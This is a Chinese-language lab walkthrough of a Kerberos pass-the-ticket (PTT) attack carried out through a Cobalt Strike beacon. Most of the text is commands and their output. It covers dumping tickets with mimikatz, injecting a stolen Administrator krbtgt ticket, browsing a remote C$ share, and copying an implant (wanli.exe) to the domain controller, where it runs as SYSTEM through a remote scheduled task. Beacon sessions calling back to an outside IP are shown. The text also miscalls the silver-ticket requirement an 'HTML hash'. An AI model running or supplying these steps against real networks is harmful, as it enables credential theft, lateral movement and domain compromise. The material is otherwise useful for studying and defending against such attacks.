pass the ticket 票据传递攻击(PTT)横向攻击

票据传递介绍

要想使用mimikatz的哈希传递功能,必须具有本地管理员权限。 mimikatz同样提供了不需要 本地管理员权限进行 横向渗透测试的方法,

例如票据传递(PassThe Ticket,PTT)

票据传递是基于kerberos认证的一种攻击方式，常用来做后渗透权限维持。

黄金票据攻击利用的前提是得到了域内krbtgt用户的NTLM哈希或AES-256的值。

白银票据攻击利用的前提是得到了域内服务账号的HTML哈希或AES-256的值。

票据传递攻击一般分为两种

1、自己制作票据

2、传递内存中的票据

实验复现

导出内存的票据

```
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
```

```
2022/08/24  14:43    <DIR>          ..
2020/03/08  18:31         1,256,712 mimikatz.exe
2022/08/23  21:56             7,407 mimikatz.log
2022/08/23  18:44             6,690 wan111li.zip
2022/08/18  13:10            14,336 wanli.exe
2022/08/24  14:43             1,647 [0;120ae5]-0-0-40a10000-Administrator@host-2012-1.hack.com.kirbi
2022/08/24  14:43             1,647 [0;120ae5]-0-1-40a10000-Administrator@cifs-2012-1.hack.com.kirbi
2022/08/24  14:43             1,629 [0;120ae5]-0-2-40a10000-Administrator@HOST-2012-1.kirbi
2022/08/24  14:43             1,629 [0;120ae5]-0-3-40a10000-Administrator@cifs-2012-1.kirbi
2022/08/24  14:43             1,491 [0;120ae5]-2-0-40e10000-Administrator@krbtgt-HACK.COM.kirbi
2022/08/24  14:43             1,515 [0;3e4]-0-0-40a50000-2012-2$@cifs-DC.hack.com.kirbi
2022/08/24  14:43             1,515 [0;3e4]-0-1-40a50000-2012-2$@ldap-dc.hack.com.kirbi
2022/08/24  14:43             1,535 [0;3e4]-0-2-40a50000-2012-2$@ldap-dc.hack.com.kirbi
2022/08/24  14:43             1,513 [0;3e4]-0-3-40a50000-2012-2$@DNS-dc.hack.com.kirbi
2022/08/24  14:43             1,531 [0;3e4]-0-4-40a50000-2012-2$@GC-DC.hack.com.kirbi
2022/08/24  14:43             1,407 [0;3e4]-2-0-60a10000-2012-2$@krbtgt-HACK.COM.kirbi
2022/08/24  14:43             1,407 [0;3e4]-2-1-40e10000-2012-2$@krbtgt-HACK.COM.kirbi
2022/08/24  14:43             1,515 [0;3e7]-0-0-40a50000-2012-2$@cifs-DC.hack.com.kirbi
2022/08/24  14:43             1,495 [0;3e7]-0-1-40a10000.kirbi
2022/08/24  14:43             1,535 [0;3e7]-0-2-40a50000-2012-2$@LDAP-DC.hack.com.kirbi
2022/08/24  14:43             1,407 [0;3e7]-2-0-60a10000-2012-2$@krbtgt-HACK.COM.kirbi
2022/08/24  14:43             1,407 [0;3e7]-2-1-40e10000-2012-2$@krbtgt-HACK.COM.kirbi
2022/08/24  14:43             1,639 [0;998d7]-0-0-40a50000-Administrator@ldap-dc.hack.com.kirbi
2022/08/24  14:43             1,659 [0;998d7]-0-1-40a50000-Administrator@LDAP-DC.hack.com.kirbi
2022/08/24  14:43             1,491 [0;998d7]-2-0-40e10000-Administrator@krbtgt-HACK.COM.kirbi
              24 个文件      1,315,759 字节
               2 个目录 15,342,436,352 可用字节
```

执行以上命令后,会在当前目录下出现多个服务的票据文件,例如krbtgt、cifs、ldap等。

清除内存中的票据

```
shell klist purge
mimikatz kerberos::purge
两个都是清除票据
```

```
beacon> shell klist purge
[*] Tasked beacon to run: klist purge
[+] host called home, sent: 42 bytes
[+] received output:

当前登录 ID 是 0:0xec8db
     删除所有票证:
     已清除票证!

beacon> Mimikatz kerberos::purge
[-] Unknown command: Mimikatz kerberos::purge
beacon> mimikatz kerberos::purge
[*] Tasked beacon to run mimikatz's kerberos::purge command
[+] host called home, sent: 706121 bytes
[+] received output:
Ticket(s) purge for current session is OK
```

将高权限的票据文件注入内存

```
mimikatz kerberos::ptt [0;998d7]-2-0-40e10000-Administrator@krbtgt-
HACK.COM.kirbi
```

```
beacon> mimikatz kerberos::ptt [0;120ae5]-2-0-40e10000-Administrator@krbtgt-HACK.COM.kirbi
[*] Tasked beacon to run mimikatz's kerberos::ptt [0;120ae5]-2-0-40e10000-Administrator@krbtgt-HACK.COM.kirbi command
[+] host called home, sent: 706119 bytes
[+] received output:

* File: '[0;120ae5]-2-0-40e10000-Administrator@krbtgt-HACK.COM.kirbi': OK
```

查看票据

```
shell klist
mimikatz kerberos::tgt
```

```
beacon> mimikatz kerberos::tgt
[*] Tasked beacon to run mimikatz's kerberos::tgt command
[+] host called home, sent: 706119 bytes
[+] received output:
Kerberos TGT of current session :
      Start/End/MaxRenew: 2022/8/24 14:19:07 ; 2022/8/25 0:19:07 ; 2022/8/31 14:19:07
      Service Name (02) : krbtgt ; HACK.COM ; @ HACK.COM
      Target Name  (--) : @ HACK.COM
      Client Name  (01) : Administrator ; @ HACK.COM
      Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwarda
      Session Key       : 0x00000012 - aes256_hmac
        0000000000000000000000000000000000000000000000000000000000000000
      Ticket            : 0x00000012 - aes256_hmac       ; kvno = 0    [...]

   ** Session key is NULL! It means allowtgtsessionkey is not set to 1 **
```

访问机器(admin 用户 没有过uac)

```
dir \\2012-1.hack.com\c$
```

```
beacon> shell dir \\2012-1.hack.com\c$
[*] Tasked beacon to run: dir \\2012-1.hack.com\c$
[+] host called home, sent: 55 bytes
[+] received output:
 驱动器 \\2012-1.hack.com\c$ 中的卷没有标签。
 卷的序列号是 4A35-60F8

 \\2012-1.hack.com\c$ 的目录

2013/08/22  23:52    <DIR>          PerfLogs
2022/03/30  16:37    <DIR>          Program Files
2022/08/24  14:21    <DIR>          Program Files (x86)
2022/08/23  21:10    <DIR>          Users
2022/08/18  13:10            14,336 wanli.exe
2022/08/23  21:10    <DIR>          Windows
               1 个文件         14,336 字节
               5 个目录 15,551,893,504 可用字节
```

上线域控

```
net use  \\dc.hack.com
copy C:\Users\admin\Desktop\wanli.exe \\dc.hack.com\C$
shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\wanli.exe /ru
system /f
shell schtasks /run /s dc.hack.com /i /tn "test"
```

```
beacon> shell net use  \\dc.hack.com
[*] Tasked beacon to run: net use  \\dc.hack.com
[+] host called home, sent: 53 bytes
[+] received output:
命令成功完成。


beacon> shell copy C:\Users\admin\Desktop\wanli.exe \\dc.hack.com\C$
[*] Tasked beacon to run: copy C:\Users\admin\Desktop\wanli.exe \\dc.hack.com\C$
[+] host called home, sent: 85 bytes
[+] received output:
已复制         1 个文件。

beacon> shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\wanli.exe /ru system /f
[*] Tasked beacon to run: schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\wanli.exe /ru system /f
[+] host called home, sent: 114 bytes
[+] received output:
成功: 成功创建计划任务 "test"。

beacon> shell schtasks /run /s dc.hack.com /i /tn "test"
[*] Tasked beacon to run: schtasks /run /s dc.hack.com /i /tn "test"
[+] host called home, sent: 73 bytes
[+] received output:
成功: 尝试运行 "test"。
```

175.9.140.137	192.168.41.10	wanli	SYSTEM *	DC	wanli.exe	1420	x86	45s
175.9.140.137	192.168.41.147	wanli	admin	2012-2	wanli.exe	528	x86	1s
175.9.140.137	192.168.41.147	wanli	admin *	2012-2	powershell.exe	2908	x86	976...